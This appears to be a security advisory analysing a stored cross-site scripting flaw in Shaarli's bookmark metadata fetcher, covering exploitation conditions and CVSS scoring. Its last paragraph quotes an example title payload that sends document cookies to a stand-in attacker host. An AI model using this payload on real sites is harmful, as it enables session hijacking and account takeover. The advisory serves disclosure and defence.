Shaarli EUVD-2026-63551

Two sequential conditions must be met. First, a Shaarli administrator must bookmark an attacker-controlled URL while the application's metadata fetcher is active; the fetcher is part of the default bookmarking flow and operates automatically without prompting the administrator. Second, any visitor - including the administrator on first save - must load the stored permalink at /shaare/{hash}, which triggers execution of the injected script. Once the payload is stored, no further attacker interaction is required. Factors limiting exploitation are: the need to social-engineer a specific administrator into bookmarking a particular URL; and, if the Shaarli instance is configured to require authentication for all page views, the pool of affected visitors is reduced to registered users rather than the open internet. The attacker requires no credentials, no existing account on the Shaarli instance, and no server-level access whatsoever.

The CVSS 4.0 score of 8.6 with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L accurately captures the real-world risk profile. The attack requires zero attacker privileges and minimal technical sophistication; the UI:A designation correctly identifies that an administrator must actively bookmark the attacker's URL - this is the sole prerequisite before payload storage. Once planted, however, every subsequent visitor to the permalink is silently compromised with no further attacker interaction, and the administrator session-hijacking path elevates severity well beyond a typical reflected XSS. The high Confidentiality and Integrity ratings are well-grounded: full session compromise means complete ownership of the Shaarli instance. No public exploit code has been identified and the vulnerability is absent from CISA KEV, making large-scale automated exploitation unlikely at this time; however, the attack chain is simple enough that targeted attacks against known Shaarli administrators require only basic social engineering. The sole meaningful control limiting exploitation is the single social-engineering step required to get an admin to bookmark the malicious URL, and any team running Shaarli - even a small self-hosted deployment - should treat this as an urgent patch given how low the exploitation bar is once that condition is met. The VA:L rating for minor availability impact is secondary and attributable to potential JavaScript-driven page disruption.

An attacker publishes a webpage whose HTML <title> contains a crafted payload such as </title><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, then shares the URL with a Shaarli administrator under a plausible pretext (e.g., a relevant article or resource). When the administrator bookmarks the URL, the metadata fetcher silently copies the malicious title verbatim into the stored bookmark record. From that point forward, every visitor who loads the permalink at /shaare/{hash} - including the administrator on the initial save - executes the injected script in the Shaarli origin, delivering session tokens to the attacker with no further interaction required. No public exploit code has been identified, but the attack requires only a functioning web server and a single social engineering interaction.